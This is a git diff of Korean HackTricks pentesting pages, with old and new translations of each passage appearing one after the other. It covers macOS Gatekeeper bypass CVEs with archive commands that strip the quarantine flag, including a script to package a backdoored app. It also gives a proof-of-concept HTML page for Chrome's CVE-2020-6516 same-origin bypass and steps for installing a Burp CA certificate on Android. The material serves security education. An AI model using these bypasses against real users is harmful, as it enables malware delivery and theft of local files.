그러나 이제는 macOS가 애플리케이션 번들 내의 파일 수정을 방지합니다. 따라서 [Dirty NIB](../macos-proces-abuse/macos-dirty-nib.md) 공격을 시도하면 번들을 수정할 수 없으므로 이를 악용할 수 없음을 알 수 있습니다. 예를 들어 Contents 디렉토리의 이름을 NotCon으로 변경한 다음 Gatekeeper로 앱을 캐시하기 위해 앱의 주 실행 파일을 실행하면 오류가 발생하여 실행되지 않습니다.
|
||||
그러나 macOS는 이제 애플리케이션 번들 내의 파일을 **수정하는 것을 방지**합니다. 따라서 [Dirty NIB](../macos-proces-abuse/macos-dirty-nib.md) 공격을 시도하면 Gatekeeper로 캐시하려고 앱을 실행한 후 번들을 수정할 수 없게 되어 더 이상 악용할 수 없음을 알게 될 것입니다. 예를 들어, Contents 디렉토리의 이름을 exploit에서 지시한대로 NotCon으로 변경한 다음 Gatekeeper로 캐시하려고 앱의 주 실행 파일을 실행하면 오류가 발생하여 실행되지 않습니다.
|
||||
|
||||
### Gatekeeper 우회
|
||||
## Gatekeeper 우회
|
||||
|
||||
Gatekeeper를 우회하는 방법(사용자가 무언가를 다운로드하고 Gatekeeper가 금지해야 할 때 실행되도록 만드는 방법)은 macOS에서 취약점으로 간주됩니다. 다음은 과거에 Gatekeeper 우회를 허용한 기술에 할당된 일부 CVE입니다:
|
||||
Gatekeeper를 우회하는 방법(사용자가 다운로드하고 Gatekeeper가 금지해야 하는 것을 실행하도록 만드는 방법)은 macOS의 취약점으로 간주됩니다. 과거에 Gatekeeper를 우회하는 기술에 할당된 일부 CVE는 다음과 같습니다:
|
||||
|
||||
#### [CVE-2021-1810](https://labs.withsecure.com/publications/the-discovery-of-cve-2021-1810)
|
||||
### [CVE-2021-1810](https://labs.withsecure.com/publications/the-discovery-of-cve-2021-1810)
|
||||
|
||||
**Archive Utility**를 사용하여 압축을 푸는 경우, **경로가 886자를 초과하는 파일**은 com.apple.quarantine 확장 속성을 받지 않습니다. 이로 인해 이러한 파일이 **Gatekeeper의** 보안 검사를 우회할 수 있게 됩니다.
|
||||
**Archive Utility**를 사용하여 압축을 푸는 경우, **886자를 초과하는 경로**를 가진 파일은 com.apple.quarantine 확장 속성을받지 않습니다. 이 상황으로 인해 이러한 파일이 **Gatekeeper의** 보안 검사를 우회할 수 있습니다.
|
||||
|
||||
자세한 정보는 [**원본 보고서**](https://labs.withsecure.com/publications/the-discovery-of-cve-2021-1810)를 확인하세요.
|
||||
자세한 정보는 [**원본 보고서**](https://labs.withsecure.com/publications/the-discovery-of-cve-2021-1810)를 확인하십시오.
|
||||
|
||||
#### [CVE-2021-30990](https://ronmasas.com/posts/bypass-macos-gatekeeper)
|
||||
### [CVE-2021-30990](https://ronmasas.com/posts/bypass-macos-gatekeeper)
|
||||
|
||||
**Automator**로 생성된 애플리케이션의 실행에 필요한 정보는 `application.app/Contents/document.wflow`에 있으며, 실행 파일에는 해당 정보가 없습니다. 실행 파일은 단순히 **Automator Application Stub**라는 일반적인 Automator 이진 파일입니다.
|
||||
**Automator**로 생성된 애플리케이션의 경우, 실행에 필요한 정보는 `application.app/Contents/document.wflow`에 있으며 실행 파일에는 없습니다. 실행 파일은 단순히 **Automator Application Stub**라는 일반적인 Automator 이진 파일입니다.
|
||||
|
||||
따라서 `application.app/Contents/MacOS/Automator\ Application\ Stub`을 다른 시스템 내부의 Automator Application Stub로 심볼릭 링크로 지정하면 `document.wflow`(스크립트) 내부의 내용이 실행되며, 실제 실행 파일에는 quarantine xattr이 없으므로 Gatekeeper가 트리거되지 않습니다.
|
||||
따라서 `application.app/Contents/MacOS/Automator\ Application\ Stub`를 다른 시스템 내의 다른 Automator Application Stub로 심볼릭 링크를 지정할 수 있으며, 실행 파일에 격리 xattr이 없기 때문에 `document.wflow`에 있는 내용(스크립트)을 **Gatekeeper를 트리거하지 않고** 실행할 수 있습니다.
|
||||
|
||||
예상 위치의 예: `/System/Library/CoreServices/Automator\ Application\ Stub.app/Contents/MacOS/Automator\ Application\ Stub`
|
||||
|
||||
자세한 정보는 [**원본 보고서**](https://ronmasas.com/posts/bypass-macos-gatekeeper)를 확인하세요.
|
||||
자세한 정보는 [**원본 보고서**](https://ronmasas.com/posts/bypass-macos-gatekeeper)를 확인하십시오.
|
||||
|
||||
#### [CVE-2022-22616](https://www.jamf.com/blog/jamf-threat-labs-safari-vuln-gatekeeper-bypass/)
|
||||
|
||||
이 우회에서는 압축을 시작하는 위치를 `application.app/Contents`가 아닌 `application.app`에서 시작하는 zip 파일이 생성되었습니다. 따라서 **quarantine 속성**은 `application.app/Contents`의 **모든 파일에 적용**되었지만 `application.app`에는 적용되지 않았으며, Gatekeeper가 확인하는 대상이었습니다. 따라서 `application.app`이 트리거될 때 **quarantine 속성이 없었기 때문에** Gatekeeper가 우회되었습니다.
|
||||
### [CVE-2022-22616](https://www.jamf.com/blog/jamf-threat-labs-safari-vuln-gatekeeper-bypass/)
|
||||
|
||||
이 우회에서는 zip 파일이 `application.app`이 아닌 `application.app/Contents`에서 압축을 시작하는 애플리케이션이 생성되었습니다. 따라서 **quarantine attr**가 `application.app/Contents`의 모든 **파일에 적용**되었지만 **`application.app`에는 적용되지 않았습니다**. Gatekeeper가 확인하는 것이기 때문에 Gatekeeper가 우회되었습니다. 따라서 `application.app`이 트리거되었을 때 **격리 속성이 없었습니다.**
|
||||
```bash
|
||||
zip -r test.app/Contents test.zip
|
||||
```
|
||||
[**원본 보고서**](https://www.jamf.com/blog/jamf-threat-labs-safari-vuln-gatekeeper-bypass/)를 확인하십시오.
|
||||
|
||||
[**원본 보고서**](https://www.jamf.com/blog/jamf-threat-labs-safari-vuln-gatekeeper-bypass/)에서 자세한 정보를 확인하세요.
|
||||
|
||||
#### [CVE-2022-32910](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-32910)
|
||||
|
||||
이 취약점의 악용은 이전과 매우 유사하지만 구성 요소는 다릅니다. 이 경우에는 \*\*`application.app/Contents`\*\*에서 Apple Archive를 생성하여 **Archive Utility**에 의해 압축이 풀릴 때 **`application.app`에 대한 quarantine 속성이 설정되지 않습니다**.
|
||||
### [CVE-2022-32910](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-32910)
|
||||
|
||||
구성 요소가 다르더라도 이 취약점의 악용은 이전 것과 매우 유사합니다. 이 경우 **`application.app/Contents`**에서 Apple Archive를 생성하여 **Archive Utility**에 의해 압축 해제될 때 **`application.app`에 격리 속성이 적용되지 않습니다**.
|
||||
```bash
|
||||
aa archive -d test.app/Contents -o test.app.aar
|
||||
```
|
||||
[**원본 보고서**](https://www.jamf.com/blog/jamf-threat-labs-macos-archive-utility-vulnerability/)를 확인하십시오.
|
||||
|
||||
자세한 정보는 [**원본 보고서**](https://www.jamf.com/blog/jamf-threat-labs-macos-archive-utility-vulnerability/)를 확인하세요.
|
||||
|
||||
#### [CVE-2022-42821](https://www.microsoft.com/en-us/security/blog/2022/12/19/gatekeepers-achilles-heel-unearthing-a-macos-vulnerability/)
|
||||
|
||||
ACL \*\*`writeextattr`\*\*은 파일의 속성을 쓰지 못하도록 막을 수 있습니다:
|
||||
### [CVE-2022-42821](https://www.microsoft.com/en-us/security/blog/2022/12/19/gatekeepers-achilles-heel-unearthing-a-macos-vulnerability/)
|
||||
|
||||
ACL **`writeextattr`**를 사용하여 파일의 속성 쓰기를 방지할 수 있습니다:
|
||||
```bash
|
||||
touch /tmp/no-attr
|
||||
chmod +a "everyone deny writeextattr" /tmp/no-attr
|
||||
xattr -w attrname vale /tmp/no-attr
|
||||
xattr: [Errno 13] Permission denied: '/tmp/no-attr'
|
||||
```
|
||||
게다가 **AppleDouble** 파일 형식은 ACE를 포함한 파일을 복사합니다.
|
||||
|
||||
또한, **AppleDouble** 파일 형식은 ACE를 포함하여 파일을 복사합니다.
|
||||
|
||||
[**소스 코드**](https://opensource.apple.com/source/Libc/Libc-391/darwin/copyfile.c.auto.html)에서는 xattr인 \*\*`com.apple.acl.text`\*\*에 저장된 ACL 텍스트 표현이 압축 해제된 파일에 ACL로 설정됩니다. 따라서, 다른 xattr이 쓰여지지 않도록 ACL을 가진 애플리케이션을 **AppleDouble** 파일 형식으로 압축한 경우... quarantine xattr이 애플리케이션에 설정되지 않았습니다:
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
[**소스 코드**](https://opensource.apple.com/source/Libc/Libc-391/darwin/copyfile.c.auto.html)에서 볼 수 있듯이 **`com.apple.acl.text`**라는 xattr 내에 저장된 ACL 텍스트 표현은 압축 해제된 파일에서 ACL로 설정됩니다. 따라서, 다른 xattr이 쓰여지는 것을 방지하는 ACL이 있는 zip 파일로 애플리케이션을 압축했다면... 격리 xattr이 애플리케이션에 설정되지 않았습니다:
|
||||
```bash
|
||||
chmod +a "everyone deny write,writeattr,writeextattr" /tmp/test
|
||||
ditto -c -k test test.zip
|
||||
|
@ -371,24 +376,22 @@ python3 -m http.server
|
|||
```
|
||||
{% endcode %}
|
||||
|
||||
추가 정보는 [**원본 보고서**](https://www.microsoft.com/en-us/security/blog/2022/12/19/gatekeepers-achilles-heel-unearthing-a-macos-vulnerability/)에서 확인할 수 있습니다.
|
||||
|
||||
AppleArchives를 사용하여 이 취약점을 악용할 수도 있습니다:
|
||||
더 많은 정보는 [**원본 보고서**](https://www.microsoft.com/en-us/security/blog/2022/12/19/gatekeepers-achilles-heel-unearthing-a-macos-vulnerability/)를 확인하세요.
|
||||
|
||||
AppleArchives를 사용하여도 이 취약점을 악용할 수 있습니다:
|
||||
```bash
|
||||
mkdir app
|
||||
touch app/test
|
||||
chmod +a "everyone deny write,writeattr,writeextattr" app/test
|
||||
aa archive -d app -o test.aar
|
||||
```
|
||||
### [CVE-2023-27943](https://blog.f-secure.com/discovery-of-gatekeeper-bypass-cve-2023-27943/)
|
||||
|
||||
#### [CVE-2023-27943](https://blog.f-secure.com/discovery-of-gatekeeper-bypass-cve-2023-27943/)
|
||||
**Google Chrome이 다운로드한 파일에 quarantine 속성을 설정하지 않았음**이 macOS 내부 문제 때문에 발견되었습니다.
|
||||
|
||||
구글 크롬이 macOS 내부 문제로 인해 다운로드된 파일에 **격리 속성을 설정하지 않았다**는 것이 발견되었습니다.
|
||||
### [CVE-2023-27951](https://redcanary.com/blog/gatekeeper-bypass-vulnerabilities/)
|
||||
|
||||
#### [CVE-2023-27951](https://redcanary.com/blog/gatekeeper-bypass-vulnerabilities/)
|
||||
|
||||
AppleDouble 파일 형식은 파일의 속성을 `._`로 시작하는 별도의 파일에 저장하여 macOS 기기 간에 파일 속성을 복사하는 데 도움이 됩니다. 그러나 AppleDouble 파일을 압축 해제한 후 `._`로 시작하는 파일에는 **격리 속성이 지정되지 않았다**는 것이 관찰되었습니다.
|
||||
AppleDouble 파일 형식은 파일의 속성을 `._`로 시작하는 별도의 파일에 저장하여 macOS 기기 간에 파일 속성을 복사하는 데 도움이 됩니다. 그러나 AppleDouble 파일을 압축 해제한 후 `._`로 시작하는 파일에는 **quarantine 속성이 설정되지 않았음**이 발견되었습니다.
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
|
@ -402,9 +405,8 @@ aa archive -d test/ -o test.aar
|
|||
```
|
||||
{% endcode %}
|
||||
|
||||
게이트키퍼를 우회할 수 있도록 **격리 속성이 설정되지 않은 파일을 생성**할 수 있다면, **가능합니다.** 이 기교는 AppleDouble 이름 규칙을 사용하여 DMG 파일 응용 프로그램을 **생성**하고 격리 속성이 없는 **숨겨진** 파일에 대한 가시적인 파일을 심볼릭 링크로 생성하는 것입니다.\
|
||||
**DMG 파일이 실행**되면, 격리 속성이 없으므로 **게이트키퍼를 우회**합니다.
|
||||
|
||||
**게이트키퍼를 우회하는 것이 가능했습니다.** 방법은 AppleDouble 이름 규칙을 사용하여 DMG 파일 애플리케이션을 만들고 (`._`로 시작) **검역 속성이 설정되지 않은 숨겨진** 파일에 대한 심볼릭 링크로 **가시적인 파일을 만드는 것**이었습니다.\
|
||||
**dmg 파일을 실행할 때**, 검역 속성이 없기 때문에 **게이트키퍼를 우회**할 것입니다.
|
||||
```bash
|
||||
# Create an app bundle with the backdoor an call it app.app
|
||||
|
||||
|
@ -420,11 +422,6 @@ ln -s ._app.dmg s/app/app.dmg
|
|||
echo "[+] compressing files"
|
||||
aa archive -d s/ -o app.aar
|
||||
```
|
||||
|
||||
#### Quarantine xattr 예방
|
||||
### Quarantine xattr 방지
|
||||
|
||||
".app" 번들에서 quarantine xattr이 추가되지 않으면 실행 시 **Gatekeeper가 작동하지 않습니다**.
|
||||
|
||||
|
||||
|
||||
</details>
|
||||
|
|
|
@ -1,35 +1,38 @@
|
|||
<details>
|
||||
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요<strong>!</strong></summary>
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team 전문가)로부터 AWS 해킹을 제로부터 전문가까지 배우세요</strong></summary>
|
||||
|
||||
HackTricks를 지원하는 다른 방법:
|
||||
다른 방법으로 HackTricks를 지원하는 방법:
|
||||
|
||||
* **회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드**하려면 [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 스웨그**](https://peass.creator-spring.com)를 얻으세요.
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요. 독점적인 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션입니다.
|
||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)을 **팔로우**하세요.
|
||||
* **Hacking 트릭을 공유하려면 PR을** [**HackTricks**](https://github.com/carlospolop/hacktricks) **및** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **깃허브 저장소에 제출하세요.**
|
||||
* **회사가 HackTricks에 광고되길 원하거나 HackTricks를 PDF로 다운로드하고 싶다면** [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구매하세요
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
|
||||
* **💬 [Discord 그룹](https://discord.gg/hRep4RUj7f)** 또는 [텔레그램 그룹](https://t.me/peass)에 **가입**하거나 **트위터** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)을 **팔로우**하세요.
|
||||
* **해킹 트릭을 공유하려면 PR을 제출하여** [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 저장소에 제출하세요.
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**이것은 [https://census-labs.com/news/2021/04/14/whatsapp-mitd-remote-exploitation-CVE-2021-24027/](https://census-labs.com/news/2021/04/14/whatsapp-mitd-remote-exploitation-CVE-2021-24027/)의 게시물 요약입니다.**
|
||||
{% embed url="https://websec.nl/" %}
|
||||
|
||||
### 미디어 스토어에서 파일 목록 나열하기
|
||||
미디어 스토어에서 관리되는 파일을 나열하려면 다음 명령을 사용할 수 있습니다:
|
||||
**이것은 [https://census-labs.com/news/2021/04/14/whatsapp-mitd-remote-exploitation-CVE-2021-24027/](https://census-labs.com/news/2021/04/14/whatsapp-mitd-remote-exploitation-CVE-2021-24027/)의 포스트 요약입니다**
|
||||
|
||||
### 미디어 스토어에서 파일 목록 나열
|
||||
미디어 스토어에서 관리되는 파일을 나열하려면 아래 명령을 사용할 수 있습니다:
|
||||
```bash
|
||||
$ content query --uri content://media/external/file
|
||||
```
|
||||
인덱싱된 각 파일의 식별자와 경로만 표시하여 더 사용자 친화적인 출력을 위해:
|
||||
보다 사용자 친화적인 출력을 위해 각 색인 파일의 식별자와 경로만 표시합니다:
|
||||
```bash
|
||||
$ content query --uri content://media/external/file --projection _id,_data
|
||||
```
|
||||
콘텐츠 제공자는 자체 개인적인 네임스페이스에 격리되어 있습니다. 제공자에 대한 액세스는 특정한 `content://` URI를 필요로 합니다. 제공자에 액세스하기 위한 경로 정보는 애플리케이션 매니페스트나 Android 프레임워크의 소스 코드에서 얻을 수 있습니다.
|
||||
콘텐츠 제공자는 자체 개인 네임스페이스에 격리됩니다. 제공자에 대한 액세스는 특정 `content://` URI가 필요합니다. 제공자에 액세스하기 위한 경로 정보는 애플리케이션 매니페스트나 Android 프레임워크의 소스 코드에서 얻을 수 있습니다.
|
||||
|
||||
### Chrome의 콘텐츠 제공자 액세스
|
||||
Android에서 Chrome은 `content://` 스킴을 통해 콘텐츠 제공자에 액세스할 수 있으며, 이를 통해 제3자 애플리케이션이 내보낸 사진이나 문서와 같은 리소스에 액세스할 수 있습니다. 이를 설명하기 위해 파일을 미디어 스토어에 삽입한 다음 Chrome을 통해 액세스할 수 있습니다:
|
||||
Android의 Chrome은 `content://` 스키마를 통해 콘텐츠 제공자에 액세스할 수 있어서, 제3자 애플리케이션이 내보낸 사진이나 문서와 같은 리소스에 액세스할 수 있습니다. 이를 설명하기 위해 파일을 미디어 저장소에 삽입한 다음 Chrome을 통해 액세스할 수 있습니다:
|
||||
|
||||
미디어 스토어에 사용자 정의 항목 삽입:
|
||||
미디어 저장소에 사용자 지정 항목 삽입:
|
||||
```bash
|
||||
cd /sdcard
|
||||
echo "Hello, world!" > test.txt
|
||||
|
@ -37,25 +40,25 @@ content insert --uri content://media/external/file \
|
|||
--bind _data:s:/storage/emulated/0/test.txt \
|
||||
--bind mime_type:s:text/plain
|
||||
```
|
||||
새로 삽입된 파일의 식별자를 확인하세요:
|
||||
새로 삽입된 파일의 식별자를 발견하십시오:
|
||||
```bash
|
||||
content query --uri content://media/external/file \
|
||||
--projection _id,_data | grep test.txt
|
||||
# Output: Row: 283 _id=747, _data=/storage/emulated/0/test.txt
|
||||
```
|
||||
파일은 파일의 식별자를 사용하여 구성된 URL을 사용하여 Chrome에서 볼 수 있습니다.
|
||||
파일은 파일 식별자를 사용하여 구성된 URL을 사용하여 Chrome에서 볼 수 있습니다.
|
||||
|
||||
예를 들어, 특정 애플리케이션과 관련된 파일을 나열하려면:
|
||||
```bash
|
||||
content query --uri content://media/external/file --projection _id,_data | grep -i <app_name>
|
||||
```
|
||||
### Chrome CVE-2020-6516: Same-Origin-Policy 우회
|
||||
### Chrome CVE-2020-6516: Same-Origin-Policy Bypass
|
||||
|
||||
_Same Origin Policy_ (SOP)는 브라우저에서 웹 페이지가 다른 출처의 리소스와 상호 작용하는 것을 제한하는 보안 프로토콜입니다. 이는 명시적으로 Cross-Origin-Resource-Sharing (CORS) 정책에 의해 허용되지 않는 한 정보 누출과 사이트 간 요청 위조를 방지하기 위한 것입니다. Chrome은 `content://`을 로컬 스킴으로 간주하여 더 엄격한 SOP 규칙을 적용하며, 각 로컬 스킴 URL은 별도의 출처로 처리됩니다.
|
||||
_Same Origin Policy_ (SOP)는 브라우저의 보안 프로토콜로, 교차 출처 리소스 공유 (CORS) 정책에 명시적으로 허용되지 않는 한 웹 페이지가 다른 출처의 리소스와 상호 작용하는 것을 제한합니다. 이 정책은 정보 누출과 교차 사이트 요청 위조를 방지하기 위한 것입니다. Chrome은 `content://`을 로컬 스키마로 간주하여 보다 엄격한 SOP 규칙을 적용하며, 각 로컬 스키마 URL을 별도의 출처로 처리합니다.
|
||||
|
||||
그러나 CVE-2020-6516은 Chrome에서 `content://` URL을 통해 로드된 리소스에 대한 SOP 규칙 우회를 허용하는 취약점이었습니다. 실제로 `content://` URL에서 로드된 JavaScript 코드는 SOP 규칙을 우회하여 다른 `content://` URL을 통해 로드된 리소스에 액세스할 수 있었으며, 특히 Android 10 이전 버전에서 스코프 저장소가 구현되지 않은 Android 기기에서는 이러한 보안 문제가 심각한 우려였습니다.
|
||||
그러나 CVE-2020-6516은 Chrome의 취약점으로, `content://` URL을 통해 로드된 리소스에 대한 SOP 규칙을 우회할 수 있게 했습니다. 실제로 `content://` URL에서 로드된 JavaScript 코드는 다른 `content://` URL을 통해 로드된 리소스에 액세스할 수 있었으며, 특히 Android 10 이전 버전을 실행하는 Android 기기에서는 범위 지정된 저장소가 구현되지 않았기 때문에 이는 중요한 보안 문제였습니다.
|
||||
|
||||
아래의 증명 코드는 이 취약점을 보여주는 것으로, HTML 문서는 **/sdcard**에 업로드된 후 미디어 스토어에 추가되며, JavaScript에서 `XMLHttpRequest`를 사용하여 미디어 스토어의 다른 파일의 내용을 액세스하고 표시하여 SOP 규칙을 우회합니다.
|
||||
아래의 증명 코드는 이 취약점을 보여주며, HTML 문서가 **/sdcard**에 업로드된 후 미디어 저장소에 추가되어 JavaScript에서 `XMLHttpRequest`를 사용하여 미디어 저장소의 다른 파일의 내용에 액세스하고 표시하여 SOP 규칙을 우회합니다.
|
||||
|
||||
증명 코드 HTML:
|
||||
```xml
|
||||
|
@ -86,16 +89,20 @@ xhr.send();
|
|||
<body onload="poc()"></body>
|
||||
</html>
|
||||
```
|
||||
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://websec.nl/" %}
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요<strong>!</strong></summary>
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)를 통해 제로부터 영웅이 될 때까지 AWS 해킹을 배우세요!</strong></summary>
|
||||
|
||||
HackTricks를 지원하는 다른 방법:
|
||||
다른 방법으로 HackTricks를 지원하는 방법:
|
||||
|
||||
* **회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드**하려면 [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 스웨그**](https://peass.creator-spring.com)를 얻으세요.
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요. 독점적인 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션입니다.
|
||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)을 **팔로우**하세요.
|
||||
* **Hacking 트릭을 공유하려면** [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 저장소에 PR을 제출하세요.
|
||||
* **회사가 HackTricks에 광고되길 원하거나 HackTricks를 PDF로 다운로드하길 원한다면** [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구매하세요
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
|
||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **가입**하거나 **트위터** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)을 **팔로우**하세요.
|
||||
* **HackTricks** 및 **HackTricks Cloud** github 저장소에 PR을 제출하여 **해킹 트릭을 공유**하세요.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -1,26 +1,30 @@
|
|||
# Burp 인증서 설치
|
||||
# 버프 인증서 설치
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 **제로부터 영웅이 될 때까지 AWS 해킹 배우기**!</summary>
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 **제로부터 영웅까지 AWS 해킹 배우기**!</summary>
|
||||
|
||||
HackTricks를 지원하는 다른 방법:
|
||||
|
||||
* **회사를 HackTricks에서 광고하거나 PDF로 다운로드**하고 싶다면 [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* **회사를 HackTricks에서 광고**하거나 **PDF 형식으로 HackTricks 다운로드**하려면 [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구매하세요
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
|
||||
* **💬 [Discord 그룹](https://discord.gg/hRep4RUj7f)** 또는 [텔레그램 그룹](https://t.me/peass)에 **가입**하거나 **트위터** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)를 **팔로우**하세요.
|
||||
* **HackTricks** 및 **HackTricks Cloud** github 저장소에 PR을 제출하여 **해킹 트릭을 공유**하세요.
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요. 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
|
||||
* **💬 [**디스코드 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 가입하거나** Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)를 **팔로우**하세요.
|
||||
* **해킹 트릭을 공유하려면 PR을** [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 저장소에 제출하세요.
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://websec.nl/" %}
|
||||
|
||||
## 가상 머신에서
|
||||
|
||||
먼저 Burp에서 Der 인증서를 다운로드해야 합니다. 이를 _**Proxy**_ --> _**Options**_ --> _**Import / Export CA certificate**_ 에서 수행할 수 있습니다.
|
||||
먼저 버프에서 Der 인증서를 다운로드해야 합니다. 이를 _**Proxy**_ --> _**Options**_ --> _**Import / Export CA certificate**_ 에서 수행할 수 있습니다.
|
||||
|
||||
![](<../../.gitbook/assets/image (367).png>)
|
||||
|
||||
**Der 형식으로 인증서를 내보내고**, 이를 **Android가 이해할 수 있는 형태로 변환**해야 합니다. **AVD의 Android 기계에 Burp 인증서를 구성하려면** 이 기계를 **`-writable-system`** 옵션으로 **실행**해야 합니다.\
|
||||
**Der 형식으로 인증서를 내보내고**, 이를 **Android가 이해할 수 있는 형태로 변환**해야 합니다. **AVD의 Android 기계에 버프 인증서를 구성하려면** 이 기계를 **`-writable-system`** 옵션으로 실행해야 합니다.\
|
||||
예를 들어 다음과 같이 실행할 수 있습니다:
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
|
@ -48,35 +52,35 @@ adb reboot #Now, reboot the machine
|
|||
|
||||
## Magisc 사용
|
||||
|
||||
만약 **Magisc로 기기를 루팅**했고 이전 **단계를 따를 수 없는 경우** (아마도 에뮬레이터 때문에) 파일 시스템이 읽기 전용이어서 쓰기 가능하게 다시 마운트할 수 없다면 다른 방법이 있습니다.
|
||||
만약 **Magisc로 기기를 루팅**했고(어쩌면 에뮬레이터), **파일 시스템이 읽기 전용**이어서 쓰기 가능한 상태로 다시 마운트할 수 없어서 이전 **단계를 따를 수 없는 경우**, 다른 방법이 있습니다.
|
||||
|
||||
[**이 비디오**](https://www.youtube.com/watch?v=qQicUW0svB8)에서 설명된대로:
|
||||
[**이 비디오**](https://www.youtube.com/watch?v=qQicUW0svB8)에서 설명된대로 다음을 수행해야 합니다:
|
||||
|
||||
1. **CA 인증서 설치**: DER 버프 인증서를 `.crt`로 확장자를 변경하여 모바일에 저장하고 `다운로드` 폴더에 저장한 후 `인증서 설치` -> `CA 인증서`로 이동하여 인증서를 **드래그 앤 드롭**하십시오.
|
||||
1. **CA 인증서 설치**: DER 버프 인증서를 `.crt`로 확장자를 변경하여 모바일에 다운로드 폴더에 저장하고 `인증서 설치` -> `CA 인증서`로 이동하여 인증서를 **드래그 앤 드롭**합니다.
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" width="164"><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (50).png" alt="" width="164"><figcaption></figcaption></figure>
|
||||
|
||||
* `신뢰할 수 있는 자격 증명` -> `사용자`로 이동하여 인증서가 올바르게 저장되었는지 확인하십시오.
|
||||
* `신뢰할 수 있는 자격 증명` -> `사용자`로 이동하여 인증서가 올바르게 저장되었는지 확인합니다.
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" width="334"><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (51).png" alt="" width="334"><figcaption></figcaption></figure>
|
||||
|
||||
2. **시스템 신뢰 설정**: Magisc 모듈 [MagiskTrustUserCerts](https://github.com/NVISOsecurity/MagiskTrustUserCerts) (`.zip` 파일)을 다운로드하고, 폰에 **드래그 앤 드롭**한 후, 폰의 Magics 앱으로 이동하여 `모듈` 섹션으로 이동하여 `.zip` 모듈을 선택하고 설치한 후 폰을 **재부팅**하십시오:
|
||||
